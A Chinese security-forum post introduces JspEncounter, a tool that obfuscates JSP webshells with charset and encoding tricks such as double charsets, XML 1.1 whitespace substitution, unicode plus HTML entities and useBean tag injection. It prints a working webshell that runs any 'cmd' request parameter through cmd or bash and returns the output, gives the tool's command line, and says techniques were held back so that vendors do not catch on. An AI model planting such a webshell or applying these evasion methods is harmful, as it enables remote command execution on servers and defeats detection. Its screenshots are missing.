安全矩阵

 找回密码
 立即注册
搜索
查看: 894|回复: 0

JSP下的白魔法:JspEncounter

[复制链接]

77

主题

77

帖子

257

积分

中级会员

Rank: 3Rank: 3

积分
257
发表于 2022-11-17 20:09:40 | 显示全部楼层 |阅读模式
本帖最后由 Aspark 于 2022-11-17 20:10 编辑

>>>> 前言
这几天看到以前整活的一些有趣的JSP编码手法被补天的分享会提及到,想到有大佬与前些年的笔者一样,发现了这个手法,然后也一样不吝啬分享出来,不免与有荣焉。

竟然如此,笔者索性抽出咸鱼时间编写了一个小工具,帮助广大同学们学习该手法,而对应的原理实在枯燥乏味,就算笔者了然,但这最好还是给有心之人可自行查看吧,本文爽就完事了。

接下来直接阐述工具相应的矩阵手法及使用效果,而工具使用的注意项及等信息则请在github查看 :
https://github.com/turn1tup/JspEncounter


>>>> 矩阵手法
被工具转换前的原始source.jsp文件内容为:
  1. <%@page import="java.util.*,java.io.*" contentType="text/html" %>
  2. <%! class Test{} %>
  3. <%

  4.     if (request.getParameter ("cmd") != null) {
  5.         boolean isWin = System.getProperty("os.name").toUpperCase().contains("WIN");
  6.         String[] cmd = {isWin?"cmd":"/bin/bash",isWin?"/c":"-c",request.getParameter("cmd")};
  7.         InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  8.         OutputStream outputStream = response.getOutputStream();
  9.         int a;
  10.         outputStream.write(String.valueOf(System.currentTimeMillis()).getBytes());
  11.         while((a=inputStream.read())!=-1){
  12.             outputStream.write(a);
  13.         }
  14.     }

  15. %>
复制代码



工具命令为:
  1. java  "-Dfile.encoding=utf-8" -jar JspEncounter.jar -m jsp -c matrix.xlsx -s source.jsp -o result.jsp
复制代码




>>>> magic charset
我们打开 matrix.xlsx进行配置,这里配置输出单种字符集文件:

编辑

执行命令后,输出的编码后的文件:

编辑

>>>> declare charset
编辑

编辑

demo(放前后都可):

编辑


>>>> double chraset双重字符集,这里以前文UTF-16BE 后文CP037为例:

编辑
编辑


>>>> controller space
xml 1.1版本下,将标签内的左右括号进行对应的字符替换,该模式目前支持的字符集为utf-8/iso-8859-1/utf-16:

编辑

UTF-8字符集情况下:

编辑

ISO-8859-1情况下的特殊空白字符:

编辑

>>>> unicode & entity
这里使用双重编码对标签内的代码进行编码,即使用 unicode + html entity:

编辑
编辑


>>>> ext tags
将代码拼接到 setProperty/useBean标签的属性中 ,该手法参考补天会议:
编辑
编辑
namespace
编辑
编辑


>>>> 结语
通过本工具我们可以便捷地了解JSP中的这些编码手法,各手法的组合需要他们的逻辑不冲突,而某些手法组合的代码实现比较麻烦,笔者就暂先没有整,大家可自行探索。当然,笔者也稍微藏了一手,毕竟如果厂商都明白了,那我们实战起来也就不那么痛快了,但如果你能真正弄懂这个矩阵中的手法,相信也能发现其他手法。而相对整个webshell的混淆知识的图谱来说,本文也只是一角。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 01:03 , Processed in 0.013875 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表